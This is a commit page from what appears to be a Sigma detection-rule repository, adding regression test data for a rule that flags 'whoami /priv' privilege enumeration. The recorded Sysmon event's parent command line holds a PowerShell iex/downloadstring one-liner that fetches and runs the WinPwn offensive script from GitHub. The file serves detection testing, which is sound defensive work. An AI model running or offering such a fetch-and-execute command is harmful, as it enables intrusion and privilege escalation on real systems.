Skip to content

Commit 67e9bc0

Browse files
committed
🧪 test: add regression data for rule 97a80ec7-0e2f-4d05-9ef4-65760e634f6b
1 parent 809bf72 commit 67e9bc0

4 files changed

Lines changed: 80 additions & 0 deletions

File tree

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"Event": {
3+
"#attributes": {
4+
"xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
5+
},
6+
"System": {
7+
"Provider": {
8+
"#attributes": {
9+
"Name": "Microsoft-Windows-Sysmon",
10+
"Guid": "5770385F-C22A-43E0-BF4C-06F5698FFBD9"
11+
}
12+
},
13+
"EventID": 1,
14+
"Version": 5,
15+
"Level": 4,
16+
"Task": 1,
17+
"Opcode": 0,
18+
"Keywords": "0x8000000000000000",
19+
"TimeCreated": {
20+
"#attributes": {
21+
"SystemTime": "2026-08-12T18:14:32.4916298Z"
22+
}
23+
},
24+
"EventRecordID": 487492,
25+
"Correlation": null,
26+
"Execution": {
27+
"#attributes": {
28+
"ProcessID": 3288,
29+
"ThreadID": 3372
30+
}
31+
},
32+
"Channel": "Microsoft-Windows-Sysmon/Operational",
33+
"Computer": "SigmaCatchVm",
34+
"Security": {
35+
"#attributes": {
36+
"UserID": "S-1-5-18"
37+
}
38+
}
39+
},
40+
"EventData": {
41+
"RuleName": "technique_id=T1033,technique_name=System Owner/User Discovery",
42+
"UtcTime": "2026-08-12 18:14:32.490",
43+
"ProcessGuid": "570E49AA-B808-6A7C-8A09-000000001400",
44+
"ProcessId": 12244,
45+
"Image": "C:\\Windows\\System32\\whoami.exe",
46+
"FileVersion": "10.0.26100.1882 (WinBuild.160101.0800)",
47+
"Description": "whoami - displays logged on user information",
48+
"Product": "Microsoft® Windows® Operating System",
49+
"Company": "Microsoft Corporation",
50+
"OriginalFileName": "whoami.exe",
51+
"CommandLine": "\"C:\\WINDOWS\\system32\\whoami.exe\" /priv",
52+
"CurrentDirectory": "C:\\Users\\frack113\\AppData\\Local\\Temp\\",
53+
"User": "SigmaCatchVm\\frack113",
54+
"LogonGuid": "570E49AA-C366-6A76-1EDD-080000000000",
55+
"LogonId": "0x8dd1e",
56+
"TerminalSessionId": 1,
57+
"IntegrityLevel": "High",
58+
"Hashes": "SHA1=C23488BA47972B04F795D34B35C8257EC4B7AC9D,MD5=956692DADC5B2CEB46E9219F7A5BEFFA,SHA256=23240EF9F8B0A9A324110B1C2331DE31DC1B0E08F5359CB707E51A939AF56CD3,IMPHASH=E4464BCD92DF7AC69CCD074CB9C0EFED",
59+
"ParentProcessGuid": "570E49AA-B807-6A7C-8709-000000001400",
60+
"ParentProcessId": 13172,
61+
"ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
62+
"ParentCommandLine": "\"powershell.exe\" & {$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\notherchecks -noninteractive -consoleoutput}",
63+
"ParentUser": "SigmaCatchVm\\frack113"
64+
}
65+
}
66+
}
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
id: 63e01db5-462d-4c95-a4a5-637f8b7b593d
2+
description: N/A
3+
date: 2026-08-12
4+
author: frack113
5+
rule_metadata:
6+
- id: 97a80ec7-0e2f-4d05-9ef4-65760e634f6b
7+
title: Security Privileges Enumeration Via Whoami.EXE
8+
regression_tests_info:
9+
- name: Positive Detection Test
10+
type: evtx
11+
provider: Microsoft-Windows-Sysmon
12+
match_count: 1
13+
path: regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/97a80ec7-0e2f-4d05-9ef4-65760e634f6b.evtx

‎rules/windows/process_creation/proc_creation_win_whoami_priv_discovery.yml‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,3 +26,4 @@ detection:
2626
falsepositives:
2727
- Unknown
2828
level: high
29+
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/info.yml

0 commit comments

Comments
 (0)